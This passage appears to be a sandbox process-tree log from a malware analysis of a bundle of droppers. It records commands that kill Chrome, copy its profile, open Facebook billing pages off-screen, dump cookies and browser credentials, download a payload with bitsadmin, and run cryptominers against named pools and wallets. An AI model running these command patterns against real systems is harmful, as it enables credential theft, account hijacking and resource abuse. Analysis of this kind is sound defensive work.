C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im build.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\xh4sm0b1.hgj\build.exe" & del C:\ProgramData\*.dll & exit
10⤵
PID:7512

C:\Windows\SysWOW64\taskkill.exe
taskkill /im build.exe /f
11⤵
- Kills process with taskkill
PID:6528

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
11⤵
- Delays execution with timeout.exe
PID:9796

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\prwnihee.fni\askinstall36.exe & exit
8⤵
PID:5236

C:\Users\Admin\AppData\Local\Temp\prwnihee.fni\askinstall36.exe
C:\Users\Admin\AppData\Local\Temp\prwnihee.fni\askinstall36.exe
9⤵
PID:7216

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im chrome.exe
10⤵
PID:7896

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im chrome.exe
11⤵
- Kills process with taskkill
PID:7836

C:\Windows\SysWOW64\xcopy.exe
xcopy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data" "C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\" /s /e /y
10⤵
PID:7372

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --window-position=-50000,-50000 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" https://www.facebook.com/ https://www.facebook.com/pages/ https://secure.facebook.com/ads/manager/account_settings/account_billing/
10⤵
PID:6800

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99 /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xd4,0xd8,0xdc,0xb0,0xe0,0x7ff87e8f4f50,0x7ff87e8f4f60,0x7ff87e8f4f70
11⤵
PID:7984

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1692,10096795762473748926,17044679151280545239,131072 --lang=en-US --service-sandbox-type=network --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=1724 /prefetch:8
11⤵
PID:8872

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1692,10096795762473748926,17044679151280545239,131072 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1696 /prefetch:2
11⤵
PID:8864

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1692,10096795762473748926,17044679151280545239,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=2160 /prefetch:8
11⤵
PID:7452

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1692,10096795762473748926,17044679151280545239,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2872 /prefetch:1
11⤵
PID:6364

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1692,10096795762473748926,17044679151280545239,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2852 /prefetch:1
11⤵
PID:8952

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1692,10096795762473748926,17044679151280545239,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3584 /prefetch:1
11⤵
PID:5248

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1692,10096795762473748926,17044679151280545239,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3336 /prefetch:1
11⤵
PID:5588

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1692,10096795762473748926,17044679151280545239,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3304 /prefetch:1
11⤵
PID:4156

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1692,10096795762473748926,17044679151280545239,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3840 /prefetch:1
11⤵
PID:4824

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1692,10096795762473748926,17044679151280545239,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4704 /prefetch:1
11⤵
PID:1760

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1692,10096795762473748926,17044679151280545239,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.15063.0 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=3920 /prefetch:2
11⤵
PID:9588

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1692,10096795762473748926,17044679151280545239,131072 --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=2356 /prefetch:8
11⤵
PID:10196

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1692,10096795762473748926,17044679151280545239,131072 --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=3836 /prefetch:8
11⤵
PID:4264

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1692,10096795762473748926,17044679151280545239,131072 --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=3812 /prefetch:8
11⤵
PID:9732

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1692,10096795762473748926,17044679151280545239,131072 --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=5524 /prefetch:8
11⤵
PID:9888

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\dowwonzm.qjb\KiffApp2.exe & exit
8⤵
PID:7280

C:\Users\Admin\AppData\Local\Temp\dowwonzm.qjb\KiffApp2.exe
C:\Users\Admin\AppData\Local\Temp\dowwonzm.qjb\KiffApp2.exe
9⤵
PID:7484

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\l3pwh5fc.uml\y1.exe & exit
8⤵
PID:8044

C:\Users\Admin\AppData\Local\Temp\l3pwh5fc.uml\y1.exe
C:\Users\Admin\AppData\Local\Temp\l3pwh5fc.uml\y1.exe
9⤵
PID:7224

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\qedgotxg.hvl\YDDWTFTMJU.exe & exit
8⤵
PID:6684

C:\Users\Admin\AppData\Local\Temp\qedgotxg.hvl\YDDWTFTMJU.exe
C:\Users\Admin\AppData\Local\Temp\qedgotxg.hvl\YDDWTFTMJU.exe
9⤵
PID:7192

C:\Users\Admin\AppData\Local\Temp\RarSFX3\main.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX3\main.exe"
10⤵
PID:7820

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\4si5txbd.0dv\ABCbrowser.exe /VERYSILENT & exit
8⤵
PID:7704

C:\Users\Admin\AppData\Local\Temp\4si5txbd.0dv\ABCbrowser.exe
C:\Users\Admin\AppData\Local\Temp\4si5txbd.0dv\ABCbrowser.exe /VERYSILENT
9⤵
PID:7188

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
10⤵
PID:7260

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
10⤵
PID:7344

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ol44ycjp.25a\toolspab1.exe & exit
8⤵
PID:4580

C:\Users\Admin\AppData\Local\Temp\ol44ycjp.25a\toolspab1.exe
C:\Users\Admin\AppData\Local\Temp\ol44ycjp.25a\toolspab1.exe
9⤵
PID:6248

C:\Users\Admin\AppData\Local\Temp\ol44ycjp.25a\toolspab1.exe
C:\Users\Admin\AppData\Local\Temp\ol44ycjp.25a\toolspab1.exe
10⤵
PID:7924

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\miyqzfhx.0cg\inst.exe & exit
8⤵
PID:1396

C:\Users\Admin\AppData\Local\Temp\miyqzfhx.0cg\inst.exe
C:\Users\Admin\AppData\Local\Temp\miyqzfhx.0cg\inst.exe
9⤵
PID:228

C:\Users\Admin\AppData\Local\Temp\eTjRbyJDwevVibLbXZ\ZLqkoM
C:\Users\Admin\AppData\Local\Temp\eTjRbyJDwevVibLbXZ\ZLqkoM
10⤵
PID:7420

C:\Users\Admin\AppData\Local\Temp\aEvYodoMRZrOXzRVeb\IXmSxk
C:\Users\Admin\AppData\Local\Temp\aEvYodoMRZrOXzRVeb\IXmSxk
11⤵
PID:8068

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\wnnxwrxr.cuh\GcleanerWW.exe /mixone & exit
8⤵
PID:7772

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\3rn3aatr.x3l\SunLabsPlayer.exe /S & exit
8⤵
PID:4444

C:\Users\Admin\AppData\Local\Temp\3rn3aatr.x3l\SunLabsPlayer.exe
C:\Users\Admin\AppData\Local\Temp\3rn3aatr.x3l\SunLabsPlayer.exe /S
9⤵
PID:7544

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsn100D.tmp\tempfile.ps1"
10⤵
PID:7788

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsn100D.tmp\tempfile.ps1"
10⤵
PID:9876

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsn100D.tmp\tempfile.ps1"
10⤵
PID:10012

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsn100D.tmp\tempfile.ps1"
10⤵
PID:9612

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsn100D.tmp\tempfile.ps1"
10⤵
PID:9300

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsn100D.tmp\tempfile.ps1"
10⤵
PID:10232

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsn100D.tmp\tempfile.ps1"
10⤵
PID:6592

C:\Windows\SysWOW64\bitsadmin.exe
"bitsadmin" /Transfer helper http://sunlabsinternational.com/data/data.7z C:\zip.7z
10⤵
- Download via BitsAdmin
PID:9532

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\jg52vjjb.vda\app.exe /8-2222 & exit
8⤵
PID:7936

C:\Users\Admin\AppData\Local\Temp\jg52vjjb.vda\app.exe
C:\Users\Admin\AppData\Local\Temp\jg52vjjb.vda\app.exe /8-2222
9⤵
PID:7844

C:\Users\Admin\AppData\Local\Temp\jg52vjjb.vda\app.exe
"C:\Users\Admin\AppData\Local\Temp\jg52vjjb.vda\app.exe" /8-2222
10⤵
PID:7828

C:\Users\Admin\AppData\Local\Temp\RarSFX1\filee.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX1\filee.exe"
4⤵
- Executes dropped EXE
PID:4832

C:\Users\Admin\AppData\Roaming\9892.tmp.exe
"C:\Users\Admin\AppData\Roaming\9892.tmp.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4468

C:\Users\Admin\AppData\Roaming\9892.tmp.exe
"C:\Users\Admin\AppData\Roaming\9892.tmp.exe"
6⤵
- Executes dropped EXE
- Checks processor information in registry
PID:5948

C:\Users\Admin\AppData\Roaming\9AF5.tmp.exe
"C:\Users\Admin\AppData\Roaming\9AF5.tmp.exe"
5⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
PID:5196

C:\Windows\system32\msiexec.exe
-P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.w16830@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 99999
6⤵
PID:5460

C:\Windows\system32\msiexec.exe
-o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8.w18113 --cpu-max-threads-hint 50 -r 9999
6⤵
- Blocklisted process makes network request
PID:5636

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\filee.exe"
5⤵
PID:5628

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1
6⤵
- Runs ping.exe
PID:5816

C:\Users\Admin\AppData\Local\Temp\RarSFX1\jg6_6asg.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX1\jg6_6asg.exe"
4⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:5692

C:\Users\Admin\AppData\Local\Temp\RarSFX1\kabo.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX1\kabo.exe"
4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2208

C:\Users\Admin\AppData\Local\Temp\RarSFX1\kabo.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX1\kabo.exe"
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:5020

C:\Users\Admin\AppData\Local\Temp\RarSFX1\IrecCH6.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX1\IrecCH6.exe"
4⤵
- Executes dropped EXE
PID:3300

C:\Users\Admin\AppData\Local\Temp\is-63TFT.tmp\IrecCH6.tmp
"C:\Users\Admin\AppData\Local\Temp\is-63TFT.tmp\IrecCH6.tmp" /SL5="$203FE,234767,151040,C:\Users\Admin\AppData\Local\Temp\RarSFX1\IrecCH6.exe"
5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5672

C:\Users\Admin\AppData\Local\Temp\is-3OPVB.tmp\player_record_48792.exe
"C:\Users\Admin\AppData\Local\Temp\is-3OPVB.tmp\player_record_48792.exe" /S /UID=irecch6
6⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Program Files directory
PID:6040

C:\Program Files\Windows Media Player\QJTSBSPREI\irecord.exe
"C:\Program Files\Windows Media Player\QJTSBSPREI\irecord.exe" /VERYSILENT
7⤵
- Executes dropped EXE
PID:4736

C:\Users\Admin\AppData\Local\Temp\is-QNFM1.tmp\irecord.tmp
"C:\Users\Admin\AppData\Local\Temp\is-QNFM1.tmp\irecord.tmp" /SL5="$20500,6139911,56832,C:\Program Files\Windows Media Player\QJTSBSPREI\irecord.exe" /VERYSILENT
8⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
PID:5724

C:\Program Files (x86)\recording\i-record.exe
"C:\Program Files (x86)\recording\i-record.exe" -silent -desktopShortcut -programMenu
9⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3184

C:\Users\Admin\AppData\Local\Temp\36-588ec-863-10583-78a3a664388ad\Dywazhibyfa.exe
"C:\Users\Admin\AppData\Local\Temp\36-588ec-863-10583-78a3a664388ad\Dywazhibyfa.exe"
7⤵
- Executes dropped EXE
- Checks computer location settings
PID:4328

C:\Users\Admin\AppData\Local\Temp\4d-4368e-aa4-c1fbd-a4ed795a84e9a\Maloxaeraeje.exe
"C:\Users\Admin\AppData\Local\Temp\4d-4368e-aa4-c1fbd-a4ed795a84e9a\Maloxaeraeje.exe"
7⤵
- Executes dropped EXE
PID:5196

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\4sqj0c3d.gqv\gaoou.exe & exit
8⤵
PID:6544

C:\Users\Admin\AppData\Local\Temp\4sqj0c3d.gqv\gaoou.exe
C:\Users\Admin\AppData\Local\Temp\4sqj0c3d.gqv\gaoou.exe
9⤵
- Executes dropped EXE
PID:6696

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
10⤵
- Executes dropped EXE
PID:6844

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
10⤵
PID:4840

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
10⤵
PID:4848

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
10⤵
PID:10180

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\rub4hiz1.hxz\google-game.exe & exit
8⤵
PID:7140

C:\Users\Admin\AppData\Local\Temp\rub4hiz1.hxz\google-game.exe
C:\Users\Admin\AppData\Local\Temp\rub4hiz1.hxz\google-game.exe
9⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:6248

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install
10⤵
- Loads dropped DLL
PID:6412

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\pladm2gk.idx\md1_1eaf.exe & exit
8⤵
PID:6932

C:\Users\Admin\AppData\Local\Temp\pladm2gk.idx\md1_1eaf.exe
C:\Users\Admin\AppData\Local\Temp\pladm2gk.idx\md1_1eaf.exe
9⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:6172

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\nuyepqqs.kui\build.exe & exit
8⤵
PID:4976

C:\Users\Admin\AppData\Local\Temp\nuyepqqs.kui\build.exe
C:\Users\Admin\AppData\Local\Temp\nuyepqqs.kui\build.exe
9⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:6184

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im build.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\nuyepqqs.kui\build.exe" & del C:\ProgramData\*.dll & exit
10⤵
PID:5216

C:\Windows\SysWOW64\taskkill.exe
taskkill /im build.exe /f
11⤵
- Kills process with taskkill
PID:6652

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
11⤵
- Delays execution with timeout.exe
PID:2636

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\nv0txl5d.iqq\askinstall36.exe & exit
8⤵
PID:6292

C:\Users\Admin\AppData\Local\Temp\nv0txl5d.iqq\askinstall36.exe
C:\Users\Admin\AppData\Local\Temp\nv0txl5d.iqq\askinstall36.exe
9⤵
- Executes dropped EXE
PID:6680

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im chrome.exe
10⤵
PID:5244

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im chrome.exe
11⤵
- Kills process with taskkill
PID:1208

C:\Windows\SysWOW64\xcopy.exe
xcopy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data" "C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\" /s /e /y
10⤵
- Enumerates system info in registry
PID:6628

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --window-position=-50000,-50000 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" https://www.facebook.com/ https://www.facebook.com/pages/ https://secure.facebook.com/ads/manager/account_settings/account_billing/
10⤵
PID:4288

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99 /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xd4,0xd8,0xdc,0xb0,0xe0,0x7ff87ef74f50,0x7ff87ef74f60,0x7ff87ef74f70
11⤵
PID:3088

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1616,8509755890910517632,1434930214279510127,131072 --lang=en-US --service-sandbox-type=network --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=1632 /prefetch:8
11⤵
PID:5184

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\kp3kiqme.2ye\KiffApp2.exe & exit
8⤵
PID:6896

C:\Users\Admin\AppData\Local\Temp\kp3kiqme.2ye\KiffApp2.exe
C:\Users\Admin\AppData\Local\Temp\kp3kiqme.2ye\KiffApp2.exe
9⤵
- Executes dropped EXE
PID:4868

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\aaf2kbtg.5yf\y1.exe & exit
8⤵
PID:5260

C:\Users\Admin\AppData\Local\Temp\aaf2kbtg.5yf\y1.exe
C:\Users\Admin\AppData\Local\Temp\aaf2kbtg.5yf\y1.exe
9⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4840

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\aaf2kbtg.5yf\y1.exe"
10⤵
PID:6992

C:\Windows\SysWOW64\timeout.exe
timeout /T 10 /NOBREAK
11⤵
- Delays execution with timeout.exe
PID:5068

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\liaui0oq.cw1\GZWRMDJALF.exe & exit
8⤵
PID:6952

C:\Users\Admin\AppData\Local\Temp\liaui0oq.cw1\GZWRMDJALF.exe
C:\Users\Admin\AppData\Local\Temp\liaui0oq.cw1\GZWRMDJALF.exe
9⤵
- Executes dropped EXE
PID:5212

C:\Users\Admin\AppData\Local\Temp\RarSFX2\main.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX2\main.exe"
10⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5600

C:\Users\Admin\AppData\Local\Temp\RarSFX2\parse.exe
parse.exe -f json -b edge
11⤵
PID:4240

C:\Users\Admin\AppData\Local\Temp\RarSFX2\parse.exe
parse.exe -f json -b chrome
11⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4012

C:\Users\Admin\AppData\Local\Temp\RarSFX2\parse.exe
parse.exe -f json -b firefox
11⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:3752

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ftki0ocx.2an\ABCbrowser.exe /VERYSILENT & exit
8⤵
PID:6016

C:\Users\Admin\AppData\Local\Temp\ftki0ocx.2an\ABCbrowser.exe
C:\Users\Admin\AppData\Local\Temp\ftki0ocx.2an\ABCbrowser.exe /VERYSILENT
9⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5504

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
10⤵
PID:6480

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\kvukpg20.gnc\toolspab1.exe & exit
8⤵
PID:5616

C:\Users\Admin\AppData\Local\Temp\kvukpg20.gnc\toolspab1.exe
C:\Users\Admin\AppData\Local\Temp\kvukpg20.gnc\toolspab1.exe
9⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:6356

C:\Users\Admin\AppData\Local\Temp\kvukpg20.gnc\toolspab1.exe
